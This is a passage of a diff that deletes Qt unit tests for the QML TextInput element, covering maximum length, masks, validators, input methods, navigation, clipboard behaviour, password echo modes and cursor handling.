QCOMPARE(textinputObject->positionAt(x, QDeclarative1TextInput::CursorBetweenCharacters), pos + 1); - QCOMPARE(textinputObject->positionAt(x, QDeclarative1TextInput::CursorOnCharacter), pos); - - const qreal x0 = textinputObject->positionToRectangle(pos).x(); - const qreal x1 = textinputObject->positionToRectangle(pos + 1).x(); - - QString preeditText = textinputObject->text().mid(0, pos); - textinputObject->setText(textinputObject->text().mid(pos)); - textinputObject->setCursorPosition(0); - - QInputMethodEvent inputEvent(preeditText, QList()); - QApplication::sendEvent(canvas, &inputEvent); - - // Check all points within the preedit text return the same position. - QCOMPARE(textinputObject->positionAt(0), 0); - QCOMPARE(textinputObject->positionAt(x0 / 2), 0); - QCOMPARE(textinputObject->positionAt(x0), 0); - - // Verify positioning returns to normal after the preedit text. - QCOMPARE(textinputObject->positionAt(x1), 1); - QCOMPARE(textinputObject->positionToRectangle(1).x(), x1); - - delete canvas; -} - -void tst_qdeclarativetextinput::maxLength() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/maxLength.qml"); - QVERIFY(canvas->rootObject() != 0); - canvas->show(); - canvas->setFocus(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - - QDeclarative1TextInput *textinputObject = qobject_cast(canvas->rootObject()); - QVERIFY(textinputObject != 0); - QVERIFY(textinputObject->text().isEmpty()); - QVERIFY(textinputObject->maxLength() == 10); - foreach(const QString &str, standard){ - QVERIFY(textinputObject->text().length() <= 10); - textinputObject->setText(str); - QVERIFY(textinputObject->text().length() <= 10); - } - - textinputObject->setText(""); - QTRY_VERIFY(textinputObject->hasActiveFocus() == true); - for(int i=0; i<20; i++){ - QCOMPARE(textinputObject->text().length(), qMin(i,10)); - //simulateKey(canvas, Qt::Key_A); - QTest::keyPress(canvas, Qt::Key_A); - QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10); - } - - delete canvas; -} - -void tst_qdeclarativetextinput::masks() -{ - //Not a comprehensive test of the possible masks, that's done elsewhere (QLineEdit) - //QString componentStr = "import QtQuick 1.0\nTextInput { inputMask: 'HHHHhhhh'; }"; - QDeclarativeView *canvas = createView(SRCDIR "/data/masks.qml"); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - QDeclarative1TextInput *textinputObject = qobject_cast(canvas->rootObject()); - QVERIFY(textinputObject != 0); - QTRY_VERIFY(textinputObject->hasActiveFocus() == true); - QVERIFY(textinputObject->text().length() == 0); - QCOMPARE(textinputObject->inputMask(), QString("HHHHhhhh; ")); - for(int i=0; i<10; i++){ - QCOMPARE(qMin(i,8), textinputObject->text().length()); - QCOMPARE(i>=4, textinputObject->hasAcceptableInput()); - //simulateKey(canvas, Qt::Key_A); - QTest::keyPress(canvas, Qt::Key_A); - QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10); - } - - delete canvas; -} - -void tst_qdeclarativetextinput::validators() -{ - // Note that this test assumes that the validators are working properly - // so you may need to run their tests first. All validators are checked - // here to ensure that their exposure to QML is working. - - QDeclarativeView *canvas = createView(SRCDIR "/data/validators.qml"); - canvas->show(); - canvas->setFocus(); - - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1TextInput *intInput = qobject_cast(qvariant_cast(canvas->rootObject()->property("intInput"))); - QVERIFY(intInput); - intInput->setFocus(true); - QTRY_VERIFY(intInput->hasActiveFocus()); - QTest::keyPress(canvas, Qt::Key_1); - QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10); - QCOMPARE(intInput->text(), QLatin1String("1")); - QCOMPARE(intInput->hasAcceptableInput(), false); - QTest::keyPress(canvas, Qt::Key_2); - QTest::keyRelease(canvas, Qt::Key_2, Qt::NoModifier ,10); - QCOMPARE(intInput->text(), QLatin1String("1")); - QCOMPARE(intInput->hasAcceptableInput(), false); - QTest::keyPress(canvas, Qt::Key_1); - QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10); - QCOMPARE(intInput->text(), QLatin1String("11")); - QCOMPARE(intInput->hasAcceptableInput(), true); - QTest::keyPress(canvas, Qt::Key_0); - QTest::keyRelease(canvas, Qt::Key_0, Qt::NoModifier ,10); - QCOMPARE(intInput->text(), QLatin1String("11")); - QCOMPARE(intInput->hasAcceptableInput(), true); - - QDeclarative1TextInput *dblInput = qobject_cast(qvariant_cast(canvas->rootObject()->property("dblInput"))); - QTRY_VERIFY(dblInput); - dblInput->setFocus(true); - QVERIFY(dblInput->hasActiveFocus() == true); - QTest::keyPress(canvas, Qt::Key_1); - QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10); - QCOMPARE(dblInput->text(), QLatin1String("1")); - QCOMPARE(dblInput->hasAcceptableInput(), false); - QTest::keyPress(canvas, Qt::Key_2); - QTest::keyRelease(canvas, Qt::Key_2, Qt::NoModifier ,10); - QCOMPARE(dblInput->text(), QLatin1String("12")); - QCOMPARE(dblInput->hasAcceptableInput(), true); - QTest::keyPress(canvas, Qt::Key_Period); - QTest::keyRelease(canvas, Qt::Key_Period, Qt::NoModifier ,10); - QCOMPARE(dblInput->text(), QLatin1String("12.")); - QCOMPARE(dblInput->hasAcceptableInput(), true); - QTest::keyPress(canvas, Qt::Key_1); - QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10); - QCOMPARE(dblInput->text(), QLatin1String("12.1")); - QCOMPARE(dblInput->hasAcceptableInput(), true); - QTest::keyPress(canvas, Qt::Key_1); - QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10); - QCOMPARE(dblInput->text(), QLatin1String("12.11")); - QCOMPARE(dblInput->hasAcceptableInput(), true); - QTest::keyPress(canvas, Qt::Key_1); - QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10); - QCOMPARE(dblInput->text(), QLatin1String("12.11")); - QCOMPARE(dblInput->hasAcceptableInput(), true); - - QDeclarative1TextInput *strInput = qobject_cast(qvariant_cast(canvas->rootObject()->property("strInput"))); - QTRY_VERIFY(strInput); - strInput->setFocus(true); - QVERIFY(strInput->hasActiveFocus() == true); - QTest::keyPress(canvas, Qt::Key_1); - QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10); - QCOMPARE(strInput->text(), QLatin1String("")); - QCOMPARE(strInput->hasAcceptableInput(), false); - QTest::keyPress(canvas, Qt::Key_A); - QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10); - QCOMPARE(strInput->text(), QLatin1String("a")); - QCOMPARE(strInput->hasAcceptableInput(), false); - QTest::keyPress(canvas, Qt::Key_A); - QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10); - QCOMPARE(strInput->text(), QLatin1String("aa")); - QCOMPARE(strInput->hasAcceptableInput(), true); - QTest::keyPress(canvas, Qt::Key_A); - QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10); - QCOMPARE(strInput->text(), QLatin1String("aaa")); - QCOMPARE(strInput->hasAcceptableInput(), true); - QTest::keyPress(canvas, Qt::Key_A); - QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10); - QCOMPARE(strInput->text(), QLatin1String("aaaa")); - QCOMPARE(strInput->hasAcceptableInput(), true); - QTest::keyPress(canvas, Qt::Key_A); - QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10); - QCOMPARE(strInput->text(), QLatin1String("aaaa")); - QCOMPARE(strInput->hasAcceptableInput(), true); - - delete canvas; -} - -void tst_qdeclarativetextinput::inputMethods() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/inputmethods.qml"); - canvas->show(); - canvas->setFocus(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - - // test input method hints - QVERIFY(canvas->rootObject() != 0); - QDeclarative1TextInput *input = qobject_cast(canvas->rootObject()); - QVERIFY(input != 0); - QVERIFY(input->imHints() & Qt::ImhNoPredictiveText); - QVERIFY(input->inputMethodHints() & Qt::ImhNoPredictiveText); - input->setIMHints(Qt::ImhUppercaseOnly); - QVERIFY(input->imHints() & Qt::ImhUppercaseOnly); - QVERIFY(input->inputMethodHints() & Qt::ImhUppercaseOnly); - - QVERIFY(canvas->rootObject() != 0); - - input->setFocus(true); - QVERIFY(input->hasActiveFocus() == true); - // test that input method event is committed - QInputMethodEvent event; - event.setCommitString( "My ", -12, 0); - QApplication::sendEvent(canvas, &event); - QCOMPARE(input->text(), QString("My Hello world!")); - - input->setCursorPosition(2); - event.setCommitString("Your", -2, 2); - QApplication::sendEvent(canvas, &event); - QCOMPARE(input->text(), QString("Your Hello world!")); - QCOMPARE(input->cursorPosition(), 4); - - input->setCursorPosition(7); - event.setCommitString("Goodbye", -2, 5); - QApplication::sendEvent(canvas, &event); - QCOMPARE(input->text(), QString("Your Goodbye world!")); - QCOMPARE(input->cursorPosition(), 12); - - input->setCursorPosition(8); - event.setCommitString("Our", -8, 4); - QApplication::sendEvent(canvas, &event); - QCOMPARE(input->text(), QString("Our Goodbye world!")); - QCOMPARE(input->cursorPosition(), 7); - - // test that basic tentative commit gets to text property on preedit state - input->setText(""); - QList attributes; - QInputMethodEvent preeditEvent("test", attributes); - preeditEvent.setTentativeCommitString("test"); - QApplication::sendEvent(canvas, &preeditEvent); - QCOMPARE(input->text(), QString("test")); - - // tentative commit not allowed present in surrounding text - QInputMethodQueryEvent queryEvent(Qt::ImSurroundingText); - QApplication::sendEvent(canvas, &queryEvent); - QCOMPARE(queryEvent.value(Qt::ImSurroundingText).toString(), QString("")); - - // if text with tentative commit does not validate, not allowed to be part of text property - input->setText(""); // ensure input state is reset - QValidator *validator = new QIntValidator(0, 100); - input->setValidator(validator); - QApplication::sendEvent(canvas, &preeditEvent); - QCOMPARE(input->text(), QString("")); - input->setValidator(0); - delete validator; - - delete canvas; -} - -/* -TextInput element should only handle left/right keys until the cursor reaches -the extent of the text, then they should ignore the keys. - -*/ -void tst_qdeclarativetextinput::navigation() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/navigation.qml"); - canvas->show(); - canvas->setFocus(); - - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1TextInput *input = qobject_cast(qvariant_cast(canvas->rootObject()->property("myInput"))); - - QVERIFY(input != 0); - input->setCursorPosition(0); - QTRY_VERIFY(input->hasActiveFocus() == true); - simulateKey(canvas, Qt::Key_Left); - QVERIFY(input->hasActiveFocus() == false); - simulateKey(canvas, Qt::Key_Right); - QVERIFY(input->hasActiveFocus() == true); - //QT-2944: If text is selected, ensure we deselect upon cursor motion - input->setCursorPosition(input->text().length()); - input->select(0,input->text().length()); - QVERIFY(input->selectionStart() != input->selectionEnd()); - simulateKey(canvas, Qt::Key_Right); - QVERIFY(input->selectionStart() == input->selectionEnd()); - QVERIFY(input->selectionStart() == input->text().length()); - QVERIFY(input->hasActiveFocus() == true); - simulateKey(canvas, Qt::Key_Right); - QVERIFY(input->hasActiveFocus() == false); - simulateKey(canvas, Qt::Key_Left); - QVERIFY(input->hasActiveFocus() == true); - - // Up and Down should NOT do Home/End, even on Mac OS X (QTBUG-10438). - input->setCursorPosition(2); - QCOMPARE(input->cursorPosition(),2); - simulateKey(canvas, Qt::Key_Up); - QCOMPARE(input->cursorPosition(),2); - simulateKey(canvas, Qt::Key_Down); - QCOMPARE(input->cursorPosition(),2); - - delete canvas; -} - -void tst_qdeclarativetextinput::navigation_RTL() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/navigation.qml"); - canvas->show(); - canvas->setFocus(); - - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1TextInput *input = qobject_cast(qvariant_cast(canvas->rootObject()->property("myInput"))); - - QVERIFY(input != 0); - const quint16 arabic_str[] = { 0x0638, 0x0643, 0x00646, 0x0647, 0x0633, 0x0638, 0x0643, 0x00646, 0x0647, 0x0633, 0x0647}; - input->setText(QString::fromUtf16(arabic_str, 11)); - - input->setCursorPosition(0); - QTRY_VERIFY(input->hasActiveFocus() == true); - - // move off - simulateKey(canvas, Qt::Key_Right); - QVERIFY(input->hasActiveFocus() == false); - - // move back - simulateKey(canvas, Qt::Key_Left); - QVERIFY(input->hasActiveFocus() == true); - - input->setCursorPosition(input->text().length()); - QVERIFY(input->hasActiveFocus() == true); - - // move off - simulateKey(canvas, Qt::Key_Left); - QVERIFY(input->hasActiveFocus() == false); - - // move back - simulateKey(canvas, Qt::Key_Right); - QVERIFY(input->hasActiveFocus() == true); - - delete canvas; -} - -void tst_qdeclarativetextinput::copyAndPaste() { -#ifndef QT_NO_CLIPBOARD - -#ifdef Q_WS_MAC - { - PasteboardRef pasteboard; - OSStatus status = PasteboardCreate(0, &pasteboard); - if (status == noErr) - CFRelease(pasteboard); - else - QSKIP("This machine doesn't support the clipboard"); - } -#endif - - QString componentStr = "import QtQuick 1.0\nTextInput { text: \"Hello world!\" }"; - QDeclarativeComponent textInputComponent(&engine); - textInputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textInput = qobject_cast(textInputComponent.create()); - QVERIFY(textInput != 0); - - // copy and paste - QCOMPARE(textInput->text().length(), 12); - textInput->select(0, textInput->text().length());; - textInput->copy(); - QCOMPARE(textInput->selectedText(), QString("Hello world!")); - QCOMPARE(textInput->selectedText().length(), 12); - textInput->setCursorPosition(0); - QVERIFY(textInput->canPaste()); - textInput->paste(); - QCOMPARE(textInput->text(), QString("Hello world!Hello world!")); - QCOMPARE(textInput->text().length(), 24); - - // can paste - QVERIFY(textInput->canPaste()); - textInput->setReadOnly(true); - QVERIFY(!textInput->canPaste()); - textInput->setReadOnly(false); - QVERIFY(textInput->canPaste()); - - // select word - textInput->setCursorPosition(0); - textInput->selectWord(); - QCOMPARE(textInput->selectedText(), QString("Hello")); - - // select all and cut - textInput->selectAll(); - textInput->cut(); - QCOMPARE(textInput->text().length(), 0); - textInput->paste(); - QCOMPARE(textInput->text(), QString("Hello world!Hello world!")); - QCOMPARE(textInput->text().length(), 24); - - // clear copy buffer - QClipboard *clipboard = QApplication::clipboard(); - QVERIFY(clipboard); - clipboard->clear(); - QVERIFY(!textInput->canPaste()); - - // test that copy functionality is disabled - // when echo mode is set to hide text/password mode - int index = 0; - while (index < 4) { - QDeclarative1TextInput::EchoMode echoMode = QDeclarative1TextInput::EchoMode(index); - textInput->setEchoMode(echoMode); - textInput->setText("My password"); - textInput->select(0, textInput->text().length());; - textInput->copy(); - if (echoMode == QDeclarative1TextInput::Normal) { - QVERIFY(!clipboard->text().isEmpty()); - QCOMPARE(clipboard->text(), QString("My password")); - clipboard->clear(); - } else { - QVERIFY(clipboard->text().isEmpty()); - } - index++; - } - - delete textInput; -#endif -} - -void tst_qdeclarativetextinput::canPasteEmpty() { -#ifndef QT_NO_CLIPBOARD - - QApplication::clipboard()->clear(); - - QString componentStr = "import QtQuick 1.0\nTextInput { text: \"Hello world!\" }"; - QDeclarativeComponent textInputComponent(&engine); - textInputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textInput = qobject_cast(textInputComponent.create()); - QVERIFY(textInput != 0); - - QWidgetLineControl lc; - bool cp = !lc.isReadOnly() && QApplication::clipboard()->text().length() != 0; - QCOMPARE(textInput->canPaste(), cp); - -#endif -} - -void tst_qdeclarativetextinput::canPaste() { -#ifndef QT_NO_CLIPBOARD - - QApplication::clipboard()->setText("Some text"); - - QString componentStr = "import QtQuick 1.0\nTextInput { text: \"Hello world!\" }"; - QDeclarativeComponent textInputComponent(&engine); - textInputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textInput = qobject_cast(textInputComponent.create()); - QVERIFY(textInput != 0); - - QWidgetLineControl lc; - bool cp = !lc.isReadOnly() && QApplication::clipboard()->text().length() != 0; - QCOMPARE(textInput->canPaste(), cp); - -#endif -} - -void tst_qdeclarativetextinput::passwordCharacter() -{ - QString componentStr = "import QtQuick 1.0\nTextInput { text: \"Hello world!\"; font.family: \"Helvetica\"; echoMode: TextInput.Password }"; - QDeclarativeComponent textInputComponent(&engine); - textInputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textInput = qobject_cast(textInputComponent.create()); - QVERIFY(textInput != 0); - - textInput->setPasswordCharacter("X"); - QSize contentsSize = textInput->contentsSize(); - textInput->setPasswordCharacter("."); - // QTBUG-12383 content is updated and redrawn - QVERIFY(contentsSize != textInput->contentsSize()); - - delete textInput; -} - -void tst_qdeclarativetextinput::cursorDelegate() -{ - QDeclarativeView* view = createView(SRCDIR "/data/cursorTest.qml"); - view->show(); - view->setFocus(); - QDeclarative1TextInput *textInputObject = view->rootObject()->findChild("textInputObject"); - QVERIFY(textInputObject != 0); - QVERIFY(textInputObject->findChild("cursorInstance")); - //Test Delegate gets created - textInputObject->setFocus(true); - QDeclarativeItem* delegateObject = textInputObject->findChild("cursorInstance"); - QVERIFY(delegateObject); - //Test Delegate gets moved - for(int i=0; i<= textInputObject->text().length(); i++){ - textInputObject->setCursorPosition(i); - QCOMPARE(textInputObject->cursorRectangle().x(), qRound(delegateObject->x())); - QCOMPARE(textInputObject->cursorRectangle().y(), qRound(delegateObject->y())); - } - const QString preedit = "preedit"; - for (int i = 0; i <= preedit.length(); i++) { - QInputMethodEvent event(preedit, QList() - << QInputMethodEvent::Attribute(QInputMethodEvent::Cursor, i, 1, QVariant())); - QApplication::sendEvent(view, &event); - - QCOMPARE(textInputObject->cursorRectangle().x(), qRound(delegateObject->x())); - QCOMPARE(textInputObject->cursorRectangle().y(), qRound(delegateObject->y())); - } - textInputObject->setCursorPosition(0); - QCOMPARE(textInputObject->cursorRectangle().x(), qRound(delegateObject->x())); - QCOMPARE(textInputObject->cursorRectangle().y(), qRound(delegateObject->y())); - //Test Delegate gets deleted - textInputObject->setCursorDelegate(0); - QVERIFY(!textInputObject->findChild("cursorInstance")); - - delete view; -} - -void tst_qdeclarativetextinput::cursorVisible() -{ - QGraphicsScene scene; - QGraphicsView view(&scene); - view.show(); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - - QDeclarative1TextInput input; - QSignalSpy spy(&input, SIGNAL(cursorVisibleChanged(bool))); - - QCOMPARE(input.isCursorVisible(), false); - - input.setCursorVisible(true); - QCOMPARE(input.isCursorVisible(), true); - QCOMPARE(spy.count(), 1); - - input.setCursorVisible(false); - QCOMPARE(input.isCursorVisible(), false); - QCOMPARE(spy.count(), 2); - - input.setFocus(true); - QCOMPARE(input.isCursorVisible(), false); - QCOMPARE(spy.count(), 2); - - scene.addItem(&input); - QCOMPARE(input.isCursorVisible(), true); - QCOMPARE(spy.count(), 3); - - input.setFocus(false); - QCOMPARE(input.isCursorVisible(), false); - QCOMPARE(spy.count(), 4); - - input.setFocus(true); - QCOMPARE(input.isCursorVisible(), true); - QCOMPARE(spy.count(), 5); - - scene.clearFocus(); - QCOMPARE(input.isCursorVisible(), false); - QCOMPARE(spy.count(), 6); - - scene.setFocus(); - QCOMPARE(input.isCursorVisible(), true); - QCOMPARE(spy.count(), 7); - - view.clearFocus(); - QCOMPARE(input.isCursorVisible(), false); - QCOMPARE(spy.count(), 8); - - view.setFocus(); - QCOMPARE(input.isCursorVisible(), true); - QCOMPARE(spy.count(), 9); - - // on mac, setActiveWindow(0) on mac does not deactivate the current application - // (you have to switch to a different app or hide the current app to trigger this) -#if !defined(Q_WS_MAC) - QApplication::setActiveWindow(0); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(0)); - QCOMPARE(input.isCursorVisible(), false); - QCOMPARE(spy.count(), 10); - - QApplication::setActiveWindow(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - QCOMPARE(input.isCursorVisible(), true); - QCOMPARE(spy.count(), 11); -#endif -} - -void tst_qdeclarativetextinput::cursorRectangle() -{ - QString text = "Hello World!"; - - QDeclarative1TextInput input; - input.setText(text); - QFontMetricsF fm(input.font()); - input.setWidth(fm.width(text.mid(0, 5))); - - QRect r; - - // some tolerance for different fonts. -#ifdef Q_OS_LINUX - const int error = 2; -#else - const int error = 5; -#endif - - for (int i = 0; i <= 5; ++i) { - input.setCursorPosition(i); - r = input.cursorRectangle(); - int textWidth = fm.width(text.mid(0, i)); - - QVERIFY(r.left() < textWidth + error); - QVERIFY(r.right() > textWidth - error); - QCOMPARE(input.inputMethodQuery(Qt::ImMicroFocus).toRect(), r); - } - - // Check the cursor rectangle remains within the input bounding rect when auto scrolling. - QVERIFY(r.left() < input.boundingRect().width()); - QVERIFY(r.right() >= input.width() - error); - - for (int i = 6; i < text.length(); ++i) { - input.setCursorPosition(i); - QCOMPARE(r, input.cursorRectangle()); - QCOMPARE(input.inputMethodQuery(Qt::ImMicroFocus).toRect(), r); - } - - for (int i = text.length() - 2; i >= 0; --i) { - input.setCursorPosition(i); - r = input.cursorRectangle(); - QVERIFY(r.right() >= 0); - QCOMPARE(input.inputMethodQuery(Qt::ImMicroFocus).toRect(), r); - } -} - -void tst_qdeclarativetextinput::readOnly() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/readOnly.qml"); - canvas->show(); - canvas->setFocus(); - - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1TextInput *input = qobject_cast(qvariant_cast(canvas->rootObject()->property("myInput"))); - - QVERIFY(input != 0); - QTRY_VERIFY(input->hasActiveFocus() == true); - QVERIFY(input->isReadOnly() == true); - QString initial = input->text(); - for(int k=Qt::Key_0; k<=Qt::Key_Z; k++) - simulateKey(canvas, k); - simulateKey(canvas, Qt::Key_Return); - simulateKey(canvas, Qt::Key_Space); - simulateKey(canvas, Qt::Key_Escape); - QCOMPARE(input->text(), initial); - - delete canvas; -} - -void tst_qdeclarativetextinput::echoMode() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/echoMode.qml"); - canvas->show(); - canvas->setFocus(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1TextInput *input = qobject_cast(qvariant_cast(canvas->rootObject()->property("myInput"))); - - QVERIFY(input != 0); - QTRY_VERIFY(input->hasActiveFocus() == true); - QString initial = input->text(); - Qt::InputMethodHints ref; - QCOMPARE(initial, QLatin1String("ABCDefgh")); - QCOMPARE(input->echoMode(), QDeclarative1TextInput::Normal); - QCOMPARE(input->displayText(), input->text()); - //Normal - ref &= ~Qt::ImhHiddenText; - ref &= ~(Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText); - QCOMPARE(input->inputMethodHints(), ref); - QCOMPARE(input->imHints(), Qt::ImhNone); - input->setEchoMode(QDeclarative1TextInput::NoEcho); - QCOMPARE(input->text(), initial); - QCOMPARE(input->displayText(), QLatin1String("")); - QCOMPARE(input->passwordCharacter(), QLatin1String("*")); - //NoEcho - ref |= Qt::ImhHiddenText; - ref |= (Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText); - QCOMPARE(input->inputMethodHints(), ref); - QCOMPARE(input->imHints(), Qt::ImhNone); - input->setEchoMode(QDeclarative1TextInput::Password); - //Password - ref |= Qt::ImhHiddenText; - ref |= (Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText); - QCOMPARE(input->text(), initial); - QCOMPARE(input->displayText(), QLatin1String("********")); - QCOMPARE(input->inputMethodHints(), ref); - QCOMPARE(input->imHints(), Qt::ImhNone); - input->setPasswordCharacter(QChar('Q')); - QCOMPARE(input->passwordCharacter(), QLatin1String("Q")); - QCOMPARE(input->text(), initial); - QCOMPARE(input->displayText(), QLatin1String("QQQQQQQQ")); - input->setEchoMode(QDeclarative1TextInput::PasswordEchoOnEdit); - //PasswordEchoOnEdit - ref &= ~Qt::ImhHiddenText; - ref |= (Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText); - QCOMPARE(input->inputMethodHints(), ref); - QCOMPARE(input->imHints(), Qt::ImhNone); - QCOMPARE(input->text(), initial); - QCOMPARE(input->displayText(), QLatin1String("QQQQQQQQ")); - QCOMPARE(input->inputMethodQuery(Qt::ImSurroundingText).toString(), QLatin1String("QQQQQQQQ")); - QTest::keyPress(canvas, Qt::Key_A);//Clearing previous entry is part of PasswordEchoOnEdit - QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10); - QCOMPARE(input->text(), QLatin1String("a")); - QCOMPARE(input->displayText(), QLatin1String("a")); - QCOMPARE(input->inputMethodQuery(Qt::ImSurroundingText).toString(), QLatin1String("a")); - input->setFocus(false); - QVERIFY(input->hasActiveFocus() == false); - QCOMPARE(input->displayText(), QLatin1String("Q")); - QCOMPARE(input->inputMethodQuery(Qt::ImSurroundingText).toString(), QLatin1String("Q")); - input->setFocus(true); - QInputMethodEvent inputEvent; - inputEvent.setCommitString(initial); - QApplication::sendEvent(canvas, &inputEvent); - QCOMPARE(input->text(), initial); - QCOMPARE(input->displayText(), initial); - QCOMPARE(input->inputMethodQuery(Qt::ImSurroundingText).toString(), initial); - - // Test echo mode doesn't override imHints. - input->setIMHints(Qt::ImhHiddenText | Qt::ImhDialableCharactersOnly); - ref |= Qt::ImhDialableCharactersOnly; - //Normal - input->setEchoMode(QDeclarative1TextInput::Normal); - ref |= Qt::ImhHiddenText; - ref &= ~(Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText); - QCOMPARE(input->inputMethodHints(), ref); - QCOMPARE(input->imHints(), Qt::ImhHiddenText | Qt::ImhDialableCharactersOnly); - //NoEcho - input->setEchoMode(QDeclarative1TextInput::NoEcho); - ref |= Qt::ImhHiddenText; - ref |= (Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText); - QCOMPARE(input->inputMethodHints(), ref); - QCOMPARE(input->imHints(), Qt::ImhHiddenText | Qt::ImhDialableCharactersOnly); - //Password - input->setEchoMode(QDeclarative1TextInput::Password); - ref |= Qt::ImhHiddenText; - ref |= (Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText); - QCOMPARE(input->inputMethodHints(), ref); - QCOMPARE(input->imHints(), Qt::ImhHiddenText | Qt::ImhDialableCharactersOnly); - //PasswordEchoOnEdit - input->setEchoMode(QDeclarative1TextInput::PasswordEchoOnEdit); - ref &= ~Qt::ImhHiddenText; - ref |= (Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText); - QCOMPARE(input->inputMethodHints(), ref); - QCOMPARE(input->imHints(), Qt::ImhHiddenText | Qt::ImhDialableCharactersOnly); - //Normal - input->setEchoMode(QDeclarative1TextInput::Normal); - ref |= Qt::ImhHiddenText; - ref &= ~(Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText); - QCOMPARE(input->inputMethodHints(), ref); - QCOMPARE(input->imHints(), Qt::ImhHiddenText | Qt::ImhDialableCharactersOnly); - - delete canvas; -} - - -#ifdef QT_GUI_PASSWORD_ECHO_DELAY -void tst_qdeclarativetextinput::passwordEchoDelay() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/echoMode.qml"); - canvas->show(); - canvas->setFocus(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1TextInput *input = qobject_cast(qvariant_cast(canvas->rootObject()->property("myInput"))); - - QChar fillChar = QLatin1Char('*'); - - input->setEchoMode(QDeclarativeTextInput::Password); - QCOMPARE(input->displayText(), QString(8, fillChar)); - input->setText(QString()); - QCOMPARE(input->displayText(), QString()); - - QTest::keyPress(canvas, '0'); - QTest::keyPress(canvas, '1'); - QTest::keyPress(canvas, '2'); - QCOMPARE(input->displayText(), QString(2, fillChar) + QLatin1Char('2')); - QTest::keyPress(canvas, '3'); - QTest::keyPress(canvas, '4'); - QCOMPARE(input->displayText(), QString(4, fillChar) + QLatin1Char('4')); - QTest::keyPress(canvas, Qt::Key_Backspace); - QCOMPARE(input->displayText(), QString(4, fillChar)); - QTest::keyPress(canvas, '4'); - QCOMPARE(input->displayText(), QString(4, fillChar) + QLatin1Char('4')); - QTest::qWait(QT_GUI_PASSWORD_ECHO_DELAY); - QTRY_COMPARE(input->displayText(), QString(5, fillChar)); - QTest::keyPress(canvas, '5'); - QCOMPARE(input->displayText(), QString(5, fillChar) + QLatin1Char('5')); - input->setFocus(false); - QVERIFY(!input->hasFocus()); - QCOMPARE(input->displayText(), QString(6, fillChar)); - input->setFocus(true); - QTRY_VERIFY(input->hasFocus()); - QCOMPARE(input->displayText(), QString(6, fillChar)); - QTest::keyPress(canvas, '6'); - QCOMPARE(input->displayText(), QString(6, fillChar) + QLatin1Char('6')); - - QInputMethodEvent ev; - ev.setCommitString(QLatin1String("7")); - QApplication::sendEvent(canvas, &ev); - QCOMPARE(input->displayText(), QString(7, fillChar) + QLatin1Char('7')); - - delete canvas; -} -#endif - - -void tst_qdeclarativetextinput::simulateKey(QDeclarativeView *view, int key) -{ - QKeyEvent press(QKeyEvent::KeyPress, key, 0); - QKeyEvent release(QKeyEvent::KeyRelease, key, 0); - - QApplication::sendEvent(view, &press); - QApplication::sendEvent(view, &release); -} - -QDeclarativeView *tst_qdeclarativetextinput::createView(const QString &filename) -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - - canvas->setSource(QUrl::fromLocalFile(filename)); - - return canvas; -} - -void tst_qdeclarativetextinput::openInputPanelOnClick() -{ - PlatformInputContext ic; - QInputPanelPrivate *inputPanelPrivate = QInputPanelPrivate::get(qApp->inputPanel()); - inputPanelPrivate->testContext = ⁣ - - QGraphicsScene scene; - QGraphicsView view(&scene); - QDeclarative1TextInput input; - QSignalSpy focusOnPressSpy(&input, SIGNAL(activeFocusOnPressChanged(bool))); - input.setText("Hello world"); - input.setPos(0, 0); - scene.addItem(&input); - view.show(); - qApp->setAutoSipEnabled(true); - 